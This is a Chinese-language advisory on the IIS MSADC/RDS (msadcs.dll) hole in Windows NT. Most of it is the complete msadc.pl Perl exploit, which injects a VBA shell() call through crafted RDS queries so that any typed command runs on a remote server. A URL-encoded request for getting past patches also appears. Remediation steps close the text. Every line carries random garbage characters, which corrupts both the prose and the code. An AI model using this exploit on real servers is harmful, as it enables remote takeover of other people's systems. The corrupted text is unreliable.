IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
]a=n(`l? $^K12Wcp- 涉及程序：
Y| X!da/ Microsoft NT server
(&o|}"kRq w ]%EJ|' 描述：
[ 8 I*lsS 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
WALK@0E '&LH9r 详细：
} 5b,u6 如果你没有时间读详细内容的话，就删除:
KA/ ~q"N c:\Program Files\Common Files\System\Msadc\msadcs.dll
(C9{|T+h 有关的安全问题就没有了。
+,q#'wSQG ~rfUqM]I 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
]broU%#" F2)\%HR 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
|U:VkiKt 关于利用ODBC远程漏洞的描述，请参看:
{ POfT
m} Y@ l>4q") http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm '/U% -/@ VX6M4<8 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
'hN RIM1 http://www.microsoft.com/security/bulletins/MS99-025faq.asp V*,6_ -^l *KYh_i 这里不再论述。
uY;7&Lw
y1 )u?^w 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
cgV5{|P 1lL Xu /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
-IE=?23Do? 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
"2_nN]%u- W F_24Mw Hfo /\\ #将下面这段保存为txt文件，然后: "perl -x 文件名"
[1Q: {>h, @ #!perl
6[T)Q ^0` #
U6IvN@
g # MSADC/RDS 'usage' (aka exploit) script
~P,@">} #
k
& 6$S9 # by rain.forest.puppy
2{A/Fbk #
X,`^z,M%I # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
mV;)V8' # beta test and find errors!
GhC%32F ;s^F:O use Socket; use Getopt::Std;
^!7 |B3` getopts("e:vd:h:XR", \%args);
vSv:!5* f>[! Zi* print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
QD*\zB 5?HoCz]l if (!defined $args{h} && !defined $args{R}) {
z^ Y4:^L~I print qq~
i*6 1i0 Usage: msadc.pl -h <host> { -d <delay> -X -v }
Tqm)- |[ -h <host> = host you want to scan (ip or domain)
jRBKy8?[C -d <seconds> = delay between calls, default 1 second
Ih_=yk -X = dump Index Server path table, if available
)YPu t. -v = verbose
jmr1e).]; -e = external dictionary file for step 5
+5N09$f;R 1Gp| _8 Or a -R will resume a command session
5e
>qBw8t 1 #V&'A ~; exit;}
oTb4 T= f-5}`)`.+ $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
yv(\5)XF if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
'/GZ/$a_l if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
0 czEA if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
BDcA_= ^R& $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
+i(;@%
kv if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
+kM*BCPYE JL=s=9N;3 if (!defined $args{R}){ $ret = &has_msadc;
8z`Ne(h; die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
df8aM<&m3 vq8&IL print "Please type the NT commandline you want to run (cmd /c assumed):\n"
X8~gLdv8 . "cmd /c ";
I,7n-G_' $in=<STDIN>; chomp $in;
oLc $command="cmd /c " . $in ;
v"V? ~+&Z4CY b if (defined $args{R}) {&load; exit;}
n_ S)9C'= pP*`b<| print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
%0lJ(hm &try_btcustmr;
yL"pzD`[H 9V?:! %J print "\nStep 2: Trying to make our own DSN...";
,K8(D<{ &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
=P`l+k3 y r
q) {W print "\nStep 3: Trying known DSNs...";
+<7a$/L?4 &known_dsn;
(R^C a7F ;#n +$Q#: print "\nStep 4: Trying known .mdbs...";
KB a
&known_mdb;
+7$zL;ph=n e) kVS }e? if (defined $args{e}){
vFH1 h m print "\nStep 5: Trying dictionary of DSN names...";
P3+?gW' &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
Qe4"a*l-r "a]Ff& T- print "Sorry Charley...maybe next time?\n";
f1RX`rXf exit;
JAS!eF ; 2Za]%' ##############################################################################
*v0}S5^ /" 89l{h8R sub sendraw { # ripped and modded from whisker
T]y^PT<8? sleep($delay); # it's a DoS on the server! At least on mine...
C^9bur/ my ($pstr)=@_;
la*c/* socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
(nt= die("Socket problems\n");
q|xic>. if(connect(S,pack "SnA4x8",2,80,$target)){
)kt,E}609 select(S); $|=1;
`dm}|$X| print $pstr; my @in=<S>;
$?dutbE select(STDOUT); close(S);
KO&oT#S return @in;
]V.0%Ccw;. } else { die("Can't connect...\n"); }}
DS>qth X Frgnnt ##############################################################################
">'`{mXew J/ZC<dkYQ sub make_header { # make the HTTP request
! /6KQ dF my $msadc=<<EOT
'/ GZ,~q POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
O`2 hTY\ User-Agent: ACTIVEDATA
#_4 JTGJ Host: $ip
2R`/Oox Content-Length: $clen
@ >Ul0&Mf? Connection: Keep-Alive
zH1 :kko IWP[?U= ADCClientVersion:01.06
=J827c{. Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
D",~? &46 Ro|XE` --!ADM!ROX!YOUR!WORLD!
PtT$#>hx] Content-Type: application/x-varg
) d"s6i Content-Length: $reqlen
` EgO&;1D) `ILO]+`5 EOT
+i6XCN1= ; $msadc=~s/\n/\r\n/g;
& dvL` return $msadc;}
K0z@gWGE mFeoeI,Jv ##############################################################################
U(u$5 V0a)9\x(\ sub make_req { # make the RDS request
_% 6Vcy my ($switch, $p1, $p2)=@_;
d ~3G EK my $req=""; my $t1, $t2, $query, $dsn;
N
Uq'96 {Y XdGA8%^cY if ($switch==1){ # this is the btcustmr.mdb query
DgRA\[c $query="Select * from Customers where City=" . make_shell();
G8Sx;Xi $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
h0n,WU/Kw $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
)Qixde>]p [ ;8vO=Z elsif ($switch==2){ # this is general make table query
D_-<V,3t $query="create table AZZ (B int, C varchar(10))";
A Z& ]@Ao $dsn="$p1";}
5Q.z#]L g < o.?T *Q9 elsif ($switch==3){ # this is general exploit table query
HzD=F3\r| $query="select * from AZZ where C=" . make_shell();
BZ -) XF'4 $dsn="$p1";}
xH/Pw? ^ u|u PvbM elsif ($switch==4){ # attempt to hork file info from index server
(H-Y-Lk+ $query="select path from scope()";
\ws^L, h $dsn="Provider=MSIDXS;";}
KvfZj /%5X:*:H elsif ($switch==5){ # bad query
I iRII)
$query="select";
{wyf>L0j $dsn="$p1";}
8
!+eq5S3 oCR-KR>{Q $t1= make_unicode($query);
Sn ~|<Vf $t2= make_unicode($dsn);
PXJ`< XM $req = "\x02\x00\x03\x00";
+oe%bk|A $req.= "\x08\x00" . pack ("S1", length($t1));
84UI)nE:Q $req.= "\x00\x00" . $t1 ;
a~ "<lzu|$ $req.= "\x08\x00" . pack ("S1", length($t2));
*d; D~"E<@ $req.= "\x00\x00" . $t2 ;
}~3 %KHT $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
R8YA"(j!L return $req;}
2[Q/|D}}| L2m~ GnP|? ##############################################################################
u=9)A9 a<ztA:xt|1 sub make_shell { # this makes the shell() statement
+\@WOs return "'|shell(\"$command\")|'";}
;yVT:qd
% Ij}k>qO/2 ##############################################################################
+/Q ?<*[ f]JLFg7 sub make_unicode { # quick little function to convert to unicode
t_Rpeav my ($in)=@_; my $out;
/ pOK4" for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
*>f-UNV return $out;}
KWB;*P
C^ #I|jFn9 ##############################################################################
b+3QqbJ[F I]OVzM sub rdo_success { # checks for RDO return success (this is kludge)
E]26a,^L my (@in) = @_; my $base=content_start(@in);
b+qdl`V d if($in[$base]=~/multipart\/mixed/){
A-XWG9nL return 1 if( $in[$base+10]=~/^\x09\x00/ );}
t:<dirw,o return 0;}
f*Dy>sw |)\{Rufb ##############################################################################
4_B1qN
BO 3%p sub make_dsn { # this makes a DSN for us
KW5u.phv my @drives=("c","d","e","f");
L4C_qb k;: print "\nMaking DSN: ";
:w5p#+/,P foreach $drive (@drives) {
Rr0@F`"R print "$drive: ";
r:*0)UZlD my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
}xE}I< M "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
=9@t6 . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
7) y9% -} $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
D%=FCmL5@= return 0 if $2 eq "404"; # not found/doesn't exist
g<"k\qs7 if($2 eq "200") {
e$+/;MRq foreach $line (@results) {
39zwPoN> return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
Hjtn*^fo^ } return 0;}
,F)9{ <r] t)hAD_sf ##############################################################################
:Kt'Fm,s? hB:}0@l6p= sub verify_exists {
9V5d=^ my ($page)=@_;
K)d]3V! my @results=sendraw("GET $page HTTP/1.0\n\n");
<R>%DD =v^ return $results[0];}
uh_ 2yw_ X_nxC6[m% ##############################################################################
Y']D_\y =
rLL5< sub try_btcustmr {
6rD
Oa~< B my @drives=("c","d","e","f");
[O52Bn my @dirs=("winnt","winnt35","winnt351","win","windows");
D D]e0 pa 0p;pTc foreach $dir (@dirs) {
*MBu5
+u%e print "$dir -> "; # fun status so you can see progress
0cxk)l% foreach $drive (@drives) {
ejuw+@ _ print "$drive: "; # ditto
k_}aiHdG $reqlen=length( make_req(1,$drive,$dir) ) - 28;
Im* ~6 [ $reqlenlen=length( "$reqlen" );
Zg#VZg1
2 $clen= 206 + $reqlenlen + $reqlen;
h72#AN 78[5@ U my @results=sendraw(make_header() . make_req(1,$drive,$dir));
0n b QKoF if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
*>,CG:`D else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
V<+= t { j~a"z4 0 ##############################################################################
yd-Kg zm8n 1VD8y_tC sub odbc_error {
}&h* bim my (@in)=@_; my $base;
o : t z _5 my $base = content_start(@in);
Xob,jo}a if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
KNw{\Pz~w $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
@Ht7^rz+S $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
Ct)l0J\XH $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
E 3 a^)S{ return $in[$base+4].$in[$base+5].$in[$base+6];}
n)'5h &# print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
rL=_z^.P print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
|d B`URP $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
c>(`X@KL _ Db05:r@ ##############################################################################
keYvscRBI :~1sF_ sub verbose {
,GH;jw)P my ($in)=@_;
>){"x(4` return if !$verbose;
/QeJ#EHn print STDOUT "\n$in\n";}
ic4mD:-up D@cv{
_M/ ##############################################################################
O0Vtvbj _FRwaFVJ3 sub save {
And|T 6u my ($p1, $p2, $p3, $p4)=@_;
}>|M6.n " open(OUT, ">rds.save") || print "Problem saving parameters...\n";
K3Wh F print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
} 9qbF+b close OUT;}
?p AO?5Z:} Vif0z*\e{ ##############################################################################
]S=AO/' 0E k + }` sub load {
/s\_"p my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
+?!x;qS^ open(IN,"<rds.save") || die("Couldn't open rds.save\n");
m<DiYxK @p=<IN>; close(IN);
WjrUn s $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
xp4w9.X 5( $target= inet_aton($ip) || die("inet_aton problems");
L:(>ON print "Resuming to $ip ...";
\
M_}V[1+ $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
;hsem,C h7 if($p[1]==1) {
4%3R}-'mh $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
7%E]E,f/# $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
G q" [5r" my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
o ? Wp[{K if (rdo_success(@results)){print "Success!\n";}
h5:>o else { print "failed\n"; verbose(odbc_error(@results));}}
m\}8N
u elsif ($p[1]==3){
EP|OKXRltA if(run_query("$p[3]")){
yz CQ print "Success!\n";} else { print "failed\n"; }}
jBTXs5q elsif ($p[1]==4){
J9kmIMq-C if(run_query($drvst . "$p[3]")){
FHu
-'; print "Success!\n"; } else { print "failed\n"; }}
c~1X/,biA exit;}
n S53mLU) *,UD&N_)*6 ##############################################################################
i"h '^6M1 ,1s ,G]%M sub create_table {
y$]gm g my ($in)=@_;
4a&*?=GG $reqlen=length( make_req(2,$in,"") ) - 28;
TaZw_)4c $reqlenlen=length( "$reqlen" );
XYOPX>$T $clen= 206 + $reqlenlen + $reqlen;
qJQ!e my @results=sendraw(make_header() . make_req(2,$in,""));
BDeX5/`U# return 1 if rdo_success(@results);
#s!q(R c my $temp= odbc_error(@results); verbose($temp);
q Z,7q return 1 if $temp=~/Table 'AZZ' already exists/;
3y9K' return 0;}
7q' _]$ >z` ^Q [ ##############################################################################
RO([R=.`/ Z ]1=nSv sub known_dsn {
! IZbMn6 # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
PMdvBOtS` my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
P?y3Yx S "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
D};zPf@!p "banner", "banners", "ads", "ADCDemo", "ADCTest");
7^fpbrj lR^OS*v foreach $dSn (@dsns) {
rT2gX^Mj& print ".";
vSt7&ec next if (!is_access("DSN=$dSn"));
}| k_sx: if(create_table("DSN=$dSn")){
fY|Bc<,V9) print "$dSn successful\n";
|b@H]c;" if(run_query("DSN=$dSn")){
fVU9?^0/)9 print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
w z, T7L print "Something's borked. Use verbose next time\n";}}} print "\n";}
*q ?-M"K Hyw T ##############################################################################
n>_EE w2/ :N8 26_q sub is_access {
b; N[_2 my ($in)=@_;
k
k&8:;Vj $reqlen=length( make_req(5,$in,"") ) - 28;
5,>Of~YN $reqlenlen=length( "$reqlen" );
N 34.Bt $clen= 206 + $reqlenlen + $reqlen;
rc*iL my @results=sendraw(make_header() . make_req(5,$in,""));
1|?8g2Vf my $temp= odbc_error(@results);
h "7: &=e verbose($temp); return 1 if ($temp=~/Microsoft Access/);
PJ=N.x f} return 0;}
N(%%bHi#V >d`XR" _e ##############################################################################
hr T_0 FZV %<g(EKl sub run_query {
6 N%fJ my ($in)=@_;
"funF vY $reqlen=length( make_req(3,$in,"") ) - 28;
8 $|< `:~J $reqlenlen=length( "$reqlen" );
WM o $clen= 206 + $reqlenlen + $reqlen;
YpAJ7 E|7 my @results=sendraw(make_header() . make_req(3,$in,""));
"k8Yc<`u return 1 if rdo_success(@results);
b.`<T "y my $temp= odbc_error(@results); verbose($temp);
;{n@hM*O return 0;}
e b])= .H M1c ##############################################################################
Y: ~A-_ %{f a
. >6 sub known_mdb {
G2bZl%
,D my @drives=("c","d","e","f","g");
+>em
!~3 my @dirs=("winnt","winnt35","winnt351","win","windows");
hnQDm$k my $dir, $drive, $mdb;
i/&?e+ i my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
>|)ia5# K/2k/\Jk[_ # this is sparse, because I don't know of many
d 6$,iw@>^ my @sysmdbs=( "\\catroot\\icatalog.mdb",
6,Z fC<) "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
M~0A-* N "\\system32\\certmdb.mdb",
}@6/sg
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
2(-J9y| ?P+n0S! my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
y^rcUPLT "\\cfusion\\cfapps\\forums\\forums_.mdb",
%:v59:i} "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
@R5jUPUVV "\\cfusion\\cfapps\\security\\realm_.mdb",
kWF/SsE "\\cfusion\\cfapps\\security\\data\\realm.mdb",
*^BW[C/CTR "\\cfusion\\database\\cfexamples.mdb",
}!5x1F! "\\cfusion\\database\\cfsnippets.mdb",
B! `Dj, _ "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
P87!+pB( "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
h>'9-j6B "\\cfusion\\brighttiger\\database\\cleam.mdb",
|WopsV
% "\\cfusion\\database\\smpolicy.mdb",
pjC2jlwm* "\\cfusion\\database\cypress.mdb",
b7
pD#v "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
!)jw o=l}J "\\website\\cgi-win\\dbsample.mdb",
W+A-<R h\ "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
tQS j[Yl "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
Qy) +YhE ); #these are just
X q3n7d. foreach $drive (@drives) {
LvWl*:z foreach $dir (@dirs){
,0'Yj?U> foreach $mdb (@sysmdbs) {
>m}U|#;W print ".";
]Qo.X~] if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
nkKiYr print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
56;(mbW if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
)'<B\P/ print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
>^1|Mg/!> } else { print "Something's borked. Use verbose next time\n"; }}}}}
hSxlj7Eo^T R W= <EF& foreach $drive (@drives) {
6GxQ< foreach $mdb (@mdbs) {
9Tgl/}q) print ".";
/5:f[-\s if(create_table($drv . $drive . $dir . $mdb)){
i+/:^ tc; print "\n" . $drive . $dir . $mdb . " successful\n";
)Ir_:lk if(run_query($drv . $drive . $dir . $mdb)){
$/\b `ID print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
Wq bfZx } else { print "Something's borked. Use verbose next time\n"; }}}}
g/)$-Z)Nu }
}PZz(Ms R&w2y$ ##############################################################################
_(CuuP$`I %X)i-^T sub hork_idx {
~s}0z&v^te print "\nAttempting to dump Index Server tables...\n";
b-/zt Z@u print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
A)5-w `1 $reqlen=length( make_req(4,"","") ) - 28;
3Y\7+975m $reqlenlen=length( "$reqlen" );
hjuzVOE|W $clen= 206 + $reqlenlen + $reqlen;
_ %HpB= my @results=sendraw2(make_header() . make_req(4,"",""));
] gN]Cw\L if (rdo_success(@results)){
Z_ G b9 my $max=@results; my $c; my %d;
Xx;RH9 YYz for($c=19; $c<$max; $c++){
'%W'HqVcG1 $results[$c]=~s/\x00//g;
U6hT*126 $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
]dX HjOpA $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
rsbd DTy $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
i|'M'^3r $d{"$1$2"}="";}
Qg)=4(<Hr foreach $c (keys %d){ print "$c\n"; }
(nhv#&Fd+ } else {print "Index server doesn't seem to be installed.\n"; }}
br!:g]Vh OL,3Jh% x ##############################################################################
DzZ)a E tEz6B} sub dsn_dict {
&*G+ -cF open(IN, "<$args{e}") || die("Can't open external dictionary\n");
mhp&;
Q9 while(<IN>){
jzuOs,:R $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
/PP \L ]( next if (!is_access("DSN=$dSn"));
Rp~#zt9: if(create_table("DSN=$dSn")){
=1dU~B:Lm print "$dSn successful\n";
OSQt:58K if(run_query("DSN=$dSn")){
5K1WfdBX7) print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
X(D$eV print "Something's borked. Use verbose next time\n";}}}
!i0jk,[B= print "\n"; close(IN);}
N4 O'{ rm7$i9DH2 ##############################################################################
&&iZ?JteZ 8\Y/?$on sub sendraw2 { # ripped and modded from whisker
xy@1E; sleep($delay); # it's a DoS on the server! At least on mine...
n@LR? my ($pstr)=@_;
K^V*JH\G socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
{HV$hU+_)Q die("Socket problems\n");
SZOcFmC? if(connect(S,pack "SnA4x8",2,80,$target)){
P!?Je/ Tz] print "Connected. Getting data";
\]y4e^FZZ open(OUT,">raw.out"); my @in;
uV]4C^k;`[ select(S); $|=1; print $pstr;
,hj5.;M while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
>U~B"'!xV close(OUT); select(STDOUT); close(S); return @in;
$#4J^(I*: } else { die("Can't connect...\n"); }}
^!]Hm&.a +ahr-v^R< ##############################################################################
MC.,n$O}6 $}d| ~q\ sub content_start { # this will take in the server headers
Onr#p4U T my (@in)=@_; my $c;
4(aDi;x "w for ($c=1;$c<500;$c++) {
T-Od|T@[ if($in[$c] =~/^\x0d\x0a/){
.xtjB8 gc if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
B/IPG~aMEZ else { return $c+1; }}}
!P7##ho0 return -1;} # it should never get here actually
*}9i@DP1, q& IO9/[dk ##############################################################################
LEM{$Fxo& K)2Z H@ sub funky {
:@PM+ [B|Q my (@in)=@_; my $error=odbc_error(@in);
=<-tD< if($error=~/ADO could not find the specified provider/){
5 5vpnRM print "\nServer returned an ADO miscofiguration message\nAborting.\n";
'1)BZ!
exit;}
@`:n +r5u if($error=~/A Handler is required/){
C;DNL^ print "\nServer has custom handler filters (they most likely are patched)\n";
2 Wlk] exit;}
{~g (WxE if($error=~/specified Handler has denied Access/){
6qA48:/F= print "\nServer has custom handler filters (they most likely are patched)\n";
_=c>>X exit;}}
$9znRTFE j )!1; = ##############################################################################
0NLoqq <BIj
a sub has_msadc {
Vp
$ ] my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
*|n::9 my $base=content_start(@results);
{ 7y.0_Y return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
P5;LM9W return 0;}
|irqv< r dw) SF, ########################
%?^T^P $|v_ pjUu] W4yNET%l, 解决方案：
|]a =He; 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
@Taj++ua 2、移除web 目录: /msadc
